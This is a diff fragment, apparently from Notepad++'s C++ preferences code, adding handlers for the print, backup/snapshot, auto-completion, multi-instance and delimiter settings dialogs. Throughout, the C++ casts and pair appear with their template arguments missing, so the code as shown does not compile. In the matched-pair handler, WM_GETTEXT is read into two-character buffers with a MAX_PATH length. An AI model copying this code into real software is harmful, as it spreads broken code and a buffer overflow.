0, reinterpret_cast(title.c_str())); + return TRUE; + } + else if (HIWORD(wParam) == CBN_SELCHANGE) + { + auto iSel = ::SendDlgItemMessage(_hSelf, LOWORD(wParam), CB_GETCURSEL, 0, 0); + + switch (LOWORD(wParam)) + { + case IDC_COMBO_HFONTNAME : + case IDC_COMBO_FFONTNAME : + { + TCHAR *fnStr = (TCHAR *)::SendDlgItemMessage(_hSelf, LOWORD(wParam), CB_GETITEMDATA, iSel, 0); + if (LOWORD(wParam) == IDC_COMBO_HFONTNAME) + nppGUI._printSettings._headerFontName = fnStr; + else + nppGUI._printSettings._footerFontName = fnStr; + } + break; + + + case IDC_COMBO_HFONTSIZE : + case IDC_COMBO_FFONTSIZE : + { + TCHAR intStr[5]; + ::SendDlgItemMessage(_hSelf, LOWORD(wParam), CB_GETLBTEXT, iSel, reinterpret_cast(intStr)); + + int *pVal = (LOWORD(wParam) == IDC_COMBO_HFONTSIZE)?&(nppGUI._printSettings._headerFontSize):&(nppGUI._printSettings._footerFontSize); + + if (!intStr[0]) + *pVal = 0; + else + *pVal = generic_strtol(intStr, NULL, 10); + } + break; + + case IDC_COMBO_VARLIST : + { + } + break; + } + return TRUE; + + } + + switch (wParam) + { + case IDC_CHECK_PRINTLINENUM: + nppGUI._printSettings._printLineNumber = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_CHECK_PRINTLINENUM, BM_GETCHECK, 0, 0)); + break; + + case IDC_RADIO_WYSIWYG: + nppGUI._printSettings._printOption = SC_PRINT_NORMAL; + break; + + case IDC_RADIO_INVERT: + nppGUI._printSettings._printOption = SC_PRINT_INVERTLIGHT; + break; + + case IDC_RADIO_BW : + nppGUI._printSettings._printOption = SC_PRINT_BLACKONWHITE; + break; + + case IDC_RADIO_NOBG : + nppGUI._printSettings._printOption = SC_PRINT_COLOURONWHITE; + break; + case IDC_CHECK_HBOLD: + nppGUI._printSettings._headerFontStyle ^= FONTSTYLE_BOLD; + break; + + case IDC_CHECK_HITALIC: + nppGUI._printSettings._headerFontStyle ^= FONTSTYLE_ITALIC; + break; + + case IDC_CHECK_FBOLD: + nppGUI._printSettings._footerFontStyle ^= FONTSTYLE_BOLD; + break; + + case IDC_CHECK_FITALIC: + nppGUI._printSettings._footerFontStyle ^= FONTSTYLE_ITALIC; + break; + + case IDC_BUTTON_ADDVAR: + { + if (!_focusedEditCtrl) + return TRUE; + + auto iSel = ::SendDlgItemMessage(_hSelf, IDC_COMBO_VARLIST, CB_GETCURSEL, 0, 0); + TCHAR *varStr = (TCHAR *)::SendDlgItemMessage(_hSelf, IDC_COMBO_VARLIST, CB_GETITEMDATA, iSel, 0); + + ::SendDlgItemMessage(_hSelf, _focusedEditCtrl, EM_GETSEL, reinterpret_cast(&_selStart), reinterpret_cast(&_selEnd)); + + const int stringSize = 256; + TCHAR str[stringSize]; + ::SendDlgItemMessage(_hSelf, _focusedEditCtrl, WM_GETTEXT, stringSize, reinterpret_cast(str)); + + generic_string str2Set(str); + str2Set.replace(_selStart, _selEnd - _selStart, varStr); + + ::SetDlgItemText(_hSelf, _focusedEditCtrl, str2Set.c_str()); + } + break; + } + return TRUE; + } + } + return FALSE; +} + + +INT_PTR CALLBACK BackupDlg::run_dlgProc(UINT message, WPARAM wParam, LPARAM) +{ + NppParameters *pNppParam = NppParameters::getInstance(); + NppGUI & nppGUI = const_cast(pNppParam->getNppGUI()); + switch (message) + { + case WM_INITDIALOG : + { + ::SendDlgItemMessage(_hSelf, IDC_CHECK_REMEMBERSESSION, BM_SETCHECK, nppGUI._rememberLastSession, 0); + bool snapshotCheck = nppGUI._rememberLastSession && nppGUI.isSnapshotMode(); + ::SendDlgItemMessage(_hSelf, IDC_BACKUPDIR_RESTORESESSION_CHECK, BM_SETCHECK, snapshotCheck?BST_CHECKED:BST_UNCHECKED, 0); + auto periodicBackupInSec = static_cast(nppGUI._snapshotBackupTiming / 1000); + ::SetDlgItemInt(_hSelf, IDC_BACKUPDIR_RESTORESESSION_EDIT,periodicBackupInSec, FALSE); + generic_string backupFilePath = NppParameters::getInstance()->getUserPath(); + backupFilePath += TEXT("\\backup\\"); + ::SetDlgItemText(_hSelf, IDD_BACKUPDIR_RESTORESESSION_PATH_EDIT, backupFilePath.c_str()); + + int ID2CheckBackupOnSave = 0; + + switch (nppGUI._backup) + { + case bak_simple : + ID2CheckBackupOnSave = IDC_RADIO_BKSIMPLE; + break; + case bak_verbose : + ID2CheckBackupOnSave = IDC_RADIO_BKVERBOSE; + break; + + default : //bak_none + ID2CheckBackupOnSave = IDC_RADIO_BKNONE; + } + ::SendDlgItemMessage(_hSelf, ID2CheckBackupOnSave, BM_SETCHECK, BST_CHECKED, 0); + + if (nppGUI._useDir) + ::SendDlgItemMessage(_hSelf, IDC_BACKUPDIR_CHECK, BM_SETCHECK, BST_CHECKED, 0); + + ::SendDlgItemMessage(_hSelf, IDC_BACKUPDIR_EDIT, WM_SETTEXT, 0, reinterpret_cast((nppGUI._backupDir.c_str()))); + + updateBackupGUI(); + return TRUE; + } + case WM_COMMAND : + { + if (HIWORD(wParam) == EN_CHANGE) + { + switch (LOWORD(wParam)) + { + case IDC_BACKUPDIR_EDIT: + { + TCHAR inputDir[MAX_PATH]; + ::SendDlgItemMessage(_hSelf, IDC_BACKUPDIR_EDIT, WM_GETTEXT, MAX_PATH, reinterpret_cast(inputDir)); + nppGUI._backupDir = inputDir; + return TRUE; + } + + case IDC_BACKUPDIR_RESTORESESSION_EDIT: + { + + const int stringSize = 16; + TCHAR str[stringSize]; + + ::GetDlgItemText(_hSelf, IDC_BACKUPDIR_RESTORESESSION_EDIT, str, stringSize); + + if (lstrcmp(str, TEXT("")) == 0) + return TRUE; + + nppGUI._snapshotBackupTiming = ::GetDlgItemInt(_hSelf, IDC_BACKUPDIR_RESTORESESSION_EDIT, NULL, FALSE) * 1000; + if (!nppGUI._snapshotBackupTiming) + { + nppGUI._snapshotBackupTiming = 1000; + ::SetDlgItemInt(_hSelf, IDC_BACKUPDIR_RESTORESESSION_EDIT, 1, FALSE); + } + return TRUE; + } + } + } + else if (HIWORD(wParam) == EN_KILLFOCUS) + { + switch (LOWORD(wParam)) + { + case IDC_BACKUPDIR_RESTORESESSION_EDIT: + { + //printStr(TEXT("")); + const int stringSize = 16; + TCHAR str[stringSize]; + + ::GetDlgItemText(_hSelf, IDC_BACKUPDIR_RESTORESESSION_EDIT, str, stringSize); + + if (lstrcmp(str, TEXT("")) == 0) + { + ::SetDlgItemInt(_hSelf, IDC_BACKUPDIR_RESTORESESSION_EDIT, static_cast(nppGUI._snapshotBackupTiming / 1000), FALSE); + } + } + } + } + + switch (wParam) + { + case IDC_CHECK_REMEMBERSESSION: + { + nppGUI._rememberLastSession = isCheckedOrNot(IDC_CHECK_REMEMBERSESSION); + if (!nppGUI._rememberLastSession) + { + ::SendDlgItemMessage(_hSelf, IDC_BACKUPDIR_RESTORESESSION_CHECK, BM_SETCHECK, BST_UNCHECKED, 0); + ::SendMessage(_hSelf, WM_COMMAND, IDC_BACKUPDIR_RESTORESESSION_CHECK, 0); + } + updateBackupGUI(); + return TRUE; + } + case IDC_BACKUPDIR_RESTORESESSION_CHECK: + { + nppGUI._isSnapshotMode = BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_BACKUPDIR_RESTORESESSION_CHECK, BM_GETCHECK, 0, 0); + updateBackupGUI(); + + if (nppGUI._isSnapshotMode) + { + // Launch thread + ::SendMessage(::GetParent(_hParent), NPPM_INTERNAL_ENABLESNAPSHOT, 0, 0); + } + return TRUE; + } + + case IDC_RADIO_BKSIMPLE: + { + nppGUI._backup = bak_simple; + updateBackupGUI(); + return TRUE; + } + + case IDC_RADIO_BKVERBOSE: + { + nppGUI._backup = bak_verbose; + updateBackupGUI(); + return TRUE; + } + + case IDC_RADIO_BKNONE: + { + nppGUI._backup = bak_none; + updateBackupGUI(); + return TRUE; + } + + case IDC_BACKUPDIR_CHECK: + { + nppGUI._useDir = !nppGUI._useDir; + updateBackupGUI(); + return TRUE; + } + case IDD_BACKUPDIR_BROWSE_BUTTON : + { + folderBrowser(_hSelf, TEXT("Select a folder as backup directory"), IDC_BACKUPDIR_EDIT); + return TRUE; + } + + + default : + return FALSE; + } + + } + } + return FALSE; +} + +void BackupDlg::updateBackupGUI() +{ + bool rememberSession = isCheckedOrNot(IDC_CHECK_REMEMBERSESSION); + bool isSnapshot = isCheckedOrNot(IDC_BACKUPDIR_RESTORESESSION_CHECK); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_BACKUPDIR_RESTORESESSION_CHECK), rememberSession); + ::EnableWindow(::GetDlgItem(_hSelf, IDD_BACKUPDIR_RESTORESESSION_STATIC1), isSnapshot); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_BACKUPDIR_RESTORESESSION_EDIT), isSnapshot); + ::EnableWindow(::GetDlgItem(_hSelf, IDD_BACKUPDIR_RESTORESESSION_STATIC2), isSnapshot); + ::EnableWindow(::GetDlgItem(_hSelf, IDD_BACKUPDIR_RESTORESESSION_PATHLABEL_STATIC), isSnapshot); + ::EnableWindow(::GetDlgItem(_hSelf, IDD_BACKUPDIR_RESTORESESSION_PATH_EDIT), isSnapshot); + + bool noBackup = BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_RADIO_BKNONE, BM_GETCHECK, 0, 0); + bool isEnableGlobableCheck = false; + bool isEnableLocalCheck = false; + + if (!noBackup) + { + isEnableGlobableCheck = true; + isEnableLocalCheck = BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_BACKUPDIR_CHECK, BM_GETCHECK, 0, 0); + } + ::EnableWindow(::GetDlgItem(_hSelf, IDC_BACKUPDIR_USERCUSTOMDIR_GRPSTATIC), isEnableGlobableCheck); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_BACKUPDIR_CHECK), isEnableGlobableCheck); + + ::EnableWindow(::GetDlgItem(_hSelf, IDD_BACKUPDIR_STATIC), isEnableLocalCheck); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_BACKUPDIR_EDIT), isEnableLocalCheck); + ::EnableWindow(::GetDlgItem(_hSelf, IDD_BACKUPDIR_BROWSE_BUTTON), isEnableLocalCheck); +} + + +INT_PTR CALLBACK AutoCompletionDlg::run_dlgProc(UINT message, WPARAM wParam, LPARAM) +{ + NppParameters *pNppParam = NppParameters::getInstance(); + NppGUI & nppGUI = const_cast(pNppParam->getNppGUI()); + switch (message) + { + case WM_INITDIALOG : + { + ::SetDlgItemInt(_hSelf, IDD_AUTOC_STATIC_N, static_cast(nppGUI._autocFromLen), FALSE); + _nbCharVal.init(_hInst, _hSelf); + _nbCharVal.create(::GetDlgItem(_hSelf, IDD_AUTOC_STATIC_N), IDD_AUTOC_STATIC_N); + + bool isEnableAutoC = nppGUI._autocStatus != nppGUI.autoc_none; + + ::SendDlgItemMessage(_hSelf, IDD_AUTOC_ENABLECHECK, BM_SETCHECK, isEnableAutoC?BST_CHECKED:BST_UNCHECKED, 0); + + int selectedID = IDD_AUTOC_BOTHRADIO; + if (nppGUI._autocStatus == nppGUI.autoc_func) + selectedID = IDD_AUTOC_FUNCRADIO; + else if (nppGUI._autocStatus == nppGUI.autoc_word) + selectedID = IDD_AUTOC_WORDRADIO; + else if (nppGUI._autocStatus == nppGUI.autoc_both) + selectedID = IDD_AUTOC_BOTHRADIO; + + ::SendDlgItemMessage(_hSelf, selectedID, BM_SETCHECK, BST_CHECKED, 0); + + if (nppGUI._autocStatus == nppGUI.autoc_word || nppGUI._autocStatus == nppGUI.autoc_both) + ::SendDlgItemMessage(_hSelf, IDD_AUTOC_IGNORENUMBERS, BM_SETCHECK, nppGUI._autocIgnoreNumbers ? BST_CHECKED : BST_UNCHECKED, 0); + + if (!isEnableAutoC) + { + ::EnableWindow(::GetDlgItem(_hSelf, IDD_AUTOC_FUNCRADIO), FALSE); + ::EnableWindow(::GetDlgItem(_hSelf, IDD_AUTOC_WORDRADIO), FALSE); + ::EnableWindow(::GetDlgItem(_hSelf, IDD_AUTOC_BOTHRADIO), FALSE); + ::EnableWindow(::GetDlgItem(_hSelf, IDD_AUTOC_IGNORENUMBERS), FALSE); + ::EnableWindow(::GetDlgItem(_hSelf, IDD_AUTOC_STATIC_FROM), FALSE); + ::EnableWindow(::GetDlgItem(_hSelf, IDD_AUTOC_STATIC_N), FALSE); + ::EnableWindow(::GetDlgItem(_hSelf, IDD_AUTOC_STATIC_CHAR), FALSE); + ::EnableWindow(::GetDlgItem(_hSelf, IDD_AUTOC_STATIC_NOTE), FALSE); + } + ::SendDlgItemMessage(_hSelf, IDD_FUNC_CHECK, BM_SETCHECK, nppGUI._funcParams ? BST_CHECKED : BST_UNCHECKED, 0); + + ::SendDlgItemMessage(_hSelf, IDD_AUTOCPARENTHESES_CHECK, BM_SETCHECK, nppGUI._matchedPairConf._doParentheses?BST_CHECKED:BST_UNCHECKED, 0); + if (nppGUI._matchedPairConf._doParentheses) + ::SendDlgItemMessage(_hSelf, IDD_AUTOCPARENTHESES_CHECK, WM_SETTEXT, 0, reinterpret_cast(TEXT(" ( )"))); + + ::SendDlgItemMessage(_hSelf, IDD_AUTOCBRACKET_CHECK, BM_SETCHECK, nppGUI._matchedPairConf._doBrackets?BST_CHECKED:BST_UNCHECKED, 0); + if (nppGUI._matchedPairConf._doBrackets) + ::SendDlgItemMessage(_hSelf, IDD_AUTOCBRACKET_CHECK, WM_SETTEXT, 0, reinterpret_cast(TEXT(" [ ]"))); + + ::SendDlgItemMessage(_hSelf, IDD_AUTOCCURLYBRACKET_CHECK, BM_SETCHECK, nppGUI._matchedPairConf._doCurlyBrackets?BST_CHECKED:BST_UNCHECKED, 0); + if (nppGUI._matchedPairConf._doCurlyBrackets) + ::SendDlgItemMessage(_hSelf, IDD_AUTOCCURLYBRACKET_CHECK, WM_SETTEXT, 0, reinterpret_cast(TEXT(" { }"))); + + ::SendDlgItemMessage(_hSelf, IDD_AUTOC_QUOTESCHECK, BM_SETCHECK, nppGUI._matchedPairConf._doQuotes?BST_CHECKED:BST_UNCHECKED, 0); + if (nppGUI._matchedPairConf._doQuotes) + ::SendDlgItemMessage(_hSelf, IDD_AUTOC_QUOTESCHECK, WM_SETTEXT, 0, reinterpret_cast(TEXT(" ' '"))); + + ::SendDlgItemMessage(_hSelf, IDD_AUTOC_DOUBLEQUOTESCHECK, BM_SETCHECK, nppGUI._matchedPairConf._doDoubleQuotes?BST_CHECKED:BST_UNCHECKED, 0); + if (nppGUI._matchedPairConf._doDoubleQuotes) + ::SendDlgItemMessage(_hSelf, IDD_AUTOC_DOUBLEQUOTESCHECK, WM_SETTEXT, 0, reinterpret_cast(TEXT(" \" \""))); + + ::SendDlgItemMessage(_hSelf, IDD_AUTOCTAG_CHECK, BM_SETCHECK, nppGUI._matchedPairConf._doHtmlXmlTag?BST_CHECKED:BST_UNCHECKED, 0); + + ::SendDlgItemMessage(_hSelf, IDC_MACHEDPAIROPEN_EDIT1, EM_LIMITTEXT, 1, 0); + ::SendDlgItemMessage(_hSelf, IDC_MACHEDPAIRCLOSE_EDIT1, EM_LIMITTEXT, 1, 0); + ::SendDlgItemMessage(_hSelf, IDC_MACHEDPAIROPEN_EDIT2, EM_LIMITTEXT, 1, 0); + ::SendDlgItemMessage(_hSelf, IDC_MACHEDPAIRCLOSE_EDIT2, EM_LIMITTEXT, 1, 0); + ::SendDlgItemMessage(_hSelf, IDC_MACHEDPAIROPEN_EDIT3, EM_LIMITTEXT, 1, 0); + ::SendDlgItemMessage(_hSelf, IDC_MACHEDPAIRCLOSE_EDIT3, EM_LIMITTEXT, 1, 0); + + size_t nbMatchedPair = nppGUI._matchedPairConf._matchedPairsInit.size(); + if (nbMatchedPair > 3) + nbMatchedPair = 3; + for (size_t i = 0; i < nbMatchedPair; ++i) + { + TCHAR openChar[2]; + openChar[0] = nppGUI._matchedPairConf._matchedPairsInit[i].first; + openChar[1] = '\0'; + TCHAR closeChar[2]; + closeChar[0] = nppGUI._matchedPairConf._matchedPairsInit[i].second; + closeChar[1] = '\0'; + + if (i == 0) + { + ::SendDlgItemMessage(_hSelf, IDC_MACHEDPAIROPEN_EDIT1, WM_SETTEXT, 0, reinterpret_cast(openChar)); + ::SendDlgItemMessage(_hSelf, IDC_MACHEDPAIRCLOSE_EDIT1, WM_SETTEXT, 0, reinterpret_cast(closeChar)); + } + else if (i == 1) + { + ::SendDlgItemMessage(_hSelf, IDC_MACHEDPAIROPEN_EDIT2, WM_SETTEXT, 0, reinterpret_cast(openChar)); + ::SendDlgItemMessage(_hSelf, IDC_MACHEDPAIRCLOSE_EDIT2, WM_SETTEXT, 0, reinterpret_cast(closeChar)); + } + if (i == 2) + { + ::SendDlgItemMessage(_hSelf, IDC_MACHEDPAIROPEN_EDIT3, WM_SETTEXT, 0, reinterpret_cast(openChar)); + ::SendDlgItemMessage(_hSelf, IDC_MACHEDPAIRCLOSE_EDIT3, WM_SETTEXT, 0, reinterpret_cast(closeChar)); + } + } + + return TRUE; + } + case WM_COMMAND : + { + if (HIWORD(wParam) == EN_CHANGE) + { + switch (LOWORD(wParam)) + { + case IDC_MACHEDPAIROPEN_EDIT1 : + case IDC_MACHEDPAIRCLOSE_EDIT1: + case IDC_MACHEDPAIROPEN_EDIT2 : + case IDC_MACHEDPAIRCLOSE_EDIT2: + case IDC_MACHEDPAIROPEN_EDIT3 : + case IDC_MACHEDPAIRCLOSE_EDIT3: + { + nppGUI._matchedPairConf._matchedPairs.clear(); + + TCHAR opener[2] = {'\0', '\0'}; + TCHAR closer[2] = {'\0', '\0'}; + + ::SendDlgItemMessage(_hSelf, IDC_MACHEDPAIROPEN_EDIT1, WM_GETTEXT, MAX_PATH, reinterpret_cast(opener)); + ::SendDlgItemMessage(_hSelf, IDC_MACHEDPAIRCLOSE_EDIT1, WM_GETTEXT, MAX_PATH, reinterpret_cast(closer)); + if (opener[0] < 0x80 && opener[0] != '\0' && closer[0] < 0x80 && closer[0] != '\0') + nppGUI._matchedPairConf._matchedPairs.push_back(pair(static_cast(opener[0]), static_cast(closer[0]))); + + ::SendDlgItemMessage(_hSelf, IDC_MACHEDPAIROPEN_EDIT2, WM_GETTEXT, MAX_PATH, reinterpret_cast(opener)); + ::SendDlgItemMessage(_hSelf, IDC_MACHEDPAIRCLOSE_EDIT2, WM_GETTEXT, MAX_PATH, reinterpret_cast(closer)); + if (opener[0] < 0x80 && opener[0] != '\0' && closer[0] < 0x80 && closer[0] != '\0') + nppGUI._matchedPairConf._matchedPairs.push_back(pair(static_cast(opener[0]), static_cast(closer[0]))); + + ::SendDlgItemMessage(_hSelf, IDC_MACHEDPAIROPEN_EDIT3, WM_GETTEXT, MAX_PATH, reinterpret_cast(opener)); + ::SendDlgItemMessage(_hSelf, IDC_MACHEDPAIRCLOSE_EDIT3, WM_GETTEXT, MAX_PATH, reinterpret_cast(closer)); + if (opener[0] < 0x80 && opener[0] != '\0' && closer[0] < 0x80 && closer[0] != '\0') + nppGUI._matchedPairConf._matchedPairs.push_back(pair(static_cast(opener[0]), static_cast(closer[0]))); + + return TRUE; + } + } + } + + switch (wParam) + { + + case IDD_AUTOC_ENABLECHECK : + { + bool isEnableAutoC = BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDD_AUTOC_ENABLECHECK, BM_GETCHECK, 0, 0); + + if (isEnableAutoC) + { + ::SendDlgItemMessage(_hSelf, IDD_AUTOC_BOTHRADIO, BM_SETCHECK, BST_CHECKED, 0); + nppGUI._autocStatus = nppGUI.autoc_both; + + ::SendDlgItemMessage(_hSelf, IDD_AUTOC_IGNORENUMBERS, BM_SETCHECK, BST_UNCHECKED, 0); + nppGUI._autocIgnoreNumbers = false; + } + else + { + ::SendDlgItemMessage(_hSelf, IDD_AUTOC_FUNCRADIO, BM_SETCHECK, BST_UNCHECKED, 0); + ::SendDlgItemMessage(_hSelf, IDD_AUTOC_WORDRADIO, BM_SETCHECK, BST_UNCHECKED, 0); + ::SendDlgItemMessage(_hSelf, IDD_AUTOC_BOTHRADIO, BM_SETCHECK, BST_UNCHECKED, 0); + nppGUI._autocStatus = nppGUI.autoc_none; + + ::SendDlgItemMessage(_hSelf, IDD_AUTOC_IGNORENUMBERS, BM_SETCHECK, BST_UNCHECKED, 0); + nppGUI._autocIgnoreNumbers = false; + } + ::EnableWindow(::GetDlgItem(_hSelf, IDD_AUTOC_FUNCRADIO), isEnableAutoC); + ::EnableWindow(::GetDlgItem(_hSelf, IDD_AUTOC_WORDRADIO), isEnableAutoC); + ::EnableWindow(::GetDlgItem(_hSelf, IDD_AUTOC_BOTHRADIO), isEnableAutoC); + ::EnableWindow(::GetDlgItem(_hSelf, IDD_AUTOC_IGNORENUMBERS), isEnableAutoC); + ::EnableWindow(::GetDlgItem(_hSelf, IDD_AUTOC_STATIC_FROM), isEnableAutoC); + ::EnableWindow(::GetDlgItem(_hSelf, IDD_AUTOC_STATIC_N), isEnableAutoC); + ::EnableWindow(::GetDlgItem(_hSelf, IDD_AUTOC_STATIC_CHAR), isEnableAutoC); + ::EnableWindow(::GetDlgItem(_hSelf, IDD_AUTOC_STATIC_NOTE), isEnableAutoC); + return TRUE; + } + + case IDD_AUTOC_FUNCRADIO : + { + nppGUI._autocStatus = nppGUI.autoc_func; + + ::SendDlgItemMessage(_hSelf, IDD_AUTOC_IGNORENUMBERS, BM_SETCHECK, BST_UNCHECKED, 0); + ::EnableWindow(::GetDlgItem(_hSelf, IDD_AUTOC_IGNORENUMBERS), FALSE); + nppGUI._autocIgnoreNumbers = false; + + return TRUE; + } + + case IDD_AUTOC_WORDRADIO : + { + nppGUI._autocStatus = nppGUI.autoc_word; + ::EnableWindow(::GetDlgItem(_hSelf, IDD_AUTOC_IGNORENUMBERS), TRUE); + return TRUE; + } + + case IDD_AUTOC_BOTHRADIO : + { + nppGUI._autocStatus = nppGUI.autoc_both; + ::EnableWindow(::GetDlgItem(_hSelf, IDD_AUTOC_IGNORENUMBERS), TRUE); + return TRUE; + } + + case IDD_AUTOC_IGNORENUMBERS: + { + nppGUI._autocIgnoreNumbers = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDD_AUTOC_IGNORENUMBERS, BM_GETCHECK, 0, 0)); + return TRUE; + } + + case IDD_FUNC_CHECK : + { + nppGUI._funcParams = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDD_FUNC_CHECK, BM_GETCHECK, 0, 0)); + return TRUE; + } + + case IDD_AUTOC_STATIC_N : + { + const int NB_MIN_CHAR = 1; + const int NB_MAX_CHAR = 9; + + ValueDlg valDlg; + valDlg.init(NULL, _hSelf, static_cast(nppGUI._autocFromLen), TEXT("Nb char : ")); + valDlg.setNBNumber(1); + + POINT p; + ::GetCursorPos(&p); + + int size = valDlg.doDialog(p); + if (size != -1) + { + if (size > NB_MAX_CHAR) + size = NB_MAX_CHAR; + else if (size < NB_MIN_CHAR) + size = NB_MIN_CHAR; + + nppGUI._autocFromLen = size; + ::SetDlgItemInt(_hSelf, IDD_AUTOC_STATIC_N, static_cast(nppGUI._autocFromLen), FALSE); + } + return TRUE; + } + + case IDD_AUTOCPARENTHESES_CHECK : + case IDD_AUTOCBRACKET_CHECK : + case IDD_AUTOCCURLYBRACKET_CHECK : + case IDD_AUTOC_DOUBLEQUOTESCHECK : + case IDD_AUTOC_QUOTESCHECK : + { + bool isChecked = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, static_cast(wParam), BM_GETCHECK, 0, 0)); + TCHAR *label; + if (wParam == IDD_AUTOCPARENTHESES_CHECK) + { + nppGUI._matchedPairConf._doParentheses = isChecked; + label = isChecked?TEXT(" ( )"):TEXT(" ("); + } + else if (wParam == IDD_AUTOCBRACKET_CHECK) + { + nppGUI._matchedPairConf._doBrackets = isChecked; + label = isChecked?TEXT(" [ ]"):TEXT(" ["); + } + else if (wParam == IDD_AUTOCCURLYBRACKET_CHECK) + { + nppGUI._matchedPairConf._doCurlyBrackets = isChecked; + label = isChecked?TEXT(" { }"):TEXT(" {"); + } + else if (wParam == IDD_AUTOC_DOUBLEQUOTESCHECK) + { + nppGUI._matchedPairConf._doDoubleQuotes = isChecked; + label = isChecked?TEXT(" \" \""):TEXT(" \""); + } + else // if (wParam == IDD_AUTOC_QUOTESCHECK) + { + nppGUI._matchedPairConf._doQuotes = isChecked; + label = isChecked?TEXT(" ' '"):TEXT(" '"); + } + ::SendDlgItemMessage(_hSelf, static_cast(wParam), WM_SETTEXT, 0, reinterpret_cast(label)); + return TRUE; + } + + case IDD_AUTOCTAG_CHECK : + { + nppGUI._matchedPairConf._doHtmlXmlTag = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDD_AUTOCTAG_CHECK, BM_GETCHECK, 0, 0)); + return TRUE; + } + default : + return FALSE; + } + + } + } + return FALSE; +} + + +INT_PTR CALLBACK MultiInstDlg::run_dlgProc(UINT message, WPARAM wParam, LPARAM) +{ + NppGUI & nppGUI = const_cast((NppParameters::getInstance())->getNppGUI()); + switch (message) + { + case WM_INITDIALOG : + { + MultiInstSetting multiInstSetting = nppGUI._multiInstSetting; + + ::SendDlgItemMessage(_hSelf, IDC_SESSIONININST_RADIO, BM_SETCHECK, multiInstSetting == multiInstOnSession?BST_CHECKED:BST_UNCHECKED, 0); + ::SendDlgItemMessage(_hSelf, IDC_MULTIINST_RADIO, BM_SETCHECK, multiInstSetting == multiInst?BST_CHECKED:BST_UNCHECKED, 0); + ::SendDlgItemMessage(_hSelf, IDC_MONOINST_RADIO, BM_SETCHECK, multiInstSetting == monoInst?BST_CHECKED:BST_UNCHECKED, 0); + } + break; + + case WM_COMMAND : + { + switch (wParam) + { + case IDC_SESSIONININST_RADIO : + { + nppGUI._multiInstSetting = multiInstOnSession; + } + break; + + case IDC_MULTIINST_RADIO : + { + nppGUI._multiInstSetting = multiInst; + } + break; + + case IDC_MONOINST_RADIO : + { + nppGUI._multiInstSetting = monoInst; + } + break; + default : + return FALSE; + } + } + break; + } + + return FALSE; +} + +void DelimiterSettingsDlg::detectSpace(const char *text2Check, int & nbSp, int & nbTab) const +{ + nbSp = nbTab = 0; + for (size_t i = 0; i < strlen(text2Check); ++i) + { + if (text2Check[i] == ' ') + ++nbSp; + else if (text2Check[i] == '\t') + ++nbTab; + } +} + + +generic_string DelimiterSettingsDlg::getWarningText(size_t nbSp, size_t nbTab) const +{ + NativeLangSpeaker *pNativeSpeaker = (NppParameters::getInstance())->getNativeLangSpeaker(); + + generic_string msg; + if (nbSp && nbTab) + { + generic_string nbSpStr = std::to_wstring(nbSp); + generic_string nbTabStr = std::to_wstring(nbTab); + generic_string warnBegin = pNativeSpeaker->getLocalizedStrFromID("word-chars-list-warning-begin"); + generic_string space = pNativeSpeaker->getLocalizedStrFromID("word-chars-list-space-warning"); + generic_string tab = pNativeSpeaker->getLocalizedStrFromID("word-chars-list-tab-warning"); + generic_string warnEnd = pNativeSpeaker->getLocalizedStrFromID("word-chars-list-warning-end"); + + if (not warnBegin.empty() && not space.empty() && not tab.empty() && not warnEnd.empty()) + { + space = stringReplace(space, TEXT("$INT_REPLACE$"), nbSpStr); + tab = stringReplace(tab, TEXT("$INT_REPLACE$"), nbTabStr); + msg = warnBegin; + msg += space; + msg += TEXT(" && "); + msg += tab; + msg += warnEnd; + } + else + { + msg = TEXT("Be aware: "); + msg += nbSpStr; + msg += TEXT(" space(s) && "); + msg += std::to_wstring(nbTab); + msg += TEXT(" TAB(s) in your character list."); + } + } + else if (nbSp && not nbTab) + { + generic_string nbSpStr = std::to_wstring(nbSp); + generic_string warnBegin = pNativeSpeaker->getLocalizedStrFromID("word-chars-list-warning-begin"); + generic_string space = pNativeSpeaker->getLocalizedStrFromID("word-chars-list-space-warning"); + generic_string warnEnd = pNativeSpeaker->getLocalizedStrFromID("word-chars-list-warning-end"); + if (not warnBegin.empty() && not space.empty() && not warnEnd.empty()) + { + space = stringReplace(space, TEXT("$INT_REPLACE$"), nbSpStr); + msg = warnBegin; + msg += space; + msg += warnEnd; + } + else + { + msg = TEXT("Be aware: "); + msg += std::to_wstring(nbSp); + msg += TEXT(" space(s) in your character list."); + } + } + else if (not nbSp && nbTab) + { + generic_string nbTabStr = std::to_wstring(nbTab); + generic_string warnBegin = pNativeSpeaker->getLocalizedStrFromID("word-chars-list-warning-begin"); + generic_string tab = pNativeSpeaker->getLocalizedStrFromID("word-chars-list-tab-warning"); + generic_string warnEnd = pNativeSpeaker->getLocalizedStrFromID("word-chars-list-warning-end"); + if (not warnBegin.empty() && not tab.empty() && not warnEnd.empty()) + { + tab = stringReplace(tab, TEXT("$INT_REPLACE$"), nbTabStr); + msg = warnBegin; + msg += tab; + msg += warnEnd; + } + else + { + msg = TEXT("Be aware: "); + msg += std::to_wstring(nbTab); + msg += TEXT(" TAB(s) in your character list."); + } + } + else //(not nbSp && not nbTab) + { + // do nothing + } + + return msg; +} + +void DelimiterSettingsDlg::setWarningIfNeed() const +{ + generic_string msg; + NppGUI & nppGUI = const_cast((NppParameters::getInstance())->getNppGUI()); + if (not nppGUI._isWordCharDefault) + { + int nbSp = 0; + int nbTab = 0; + detectSpace(nppGUI._customWordChars.c_str(), nbSp, nbTab); + msg = getWarningText(nbSp, nbTab); + } + ::SetDlgItemText(_hSelf, IDD_STATIC_WORDCHAR_WARNING, msg.c_str()); +} + +INT_PTR CALLBACK DelimiterSettingsDlg::run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam) +{ + NppGUI & nppGUI = const_cast((NppParameters::getInstance())->getNppGUI()); + switch (message) + { + case WM_INITDIALOG : + { + // + // Delimiter + // + TCHAR opener[2]; + opener[0] = nppGUI._leftmostDelimiter; + opener[1] = '\0'; + TCHAR closer[2]; + closer[0] = nppGUI._rightmostDelimiter; + closer[1] = '\0'; 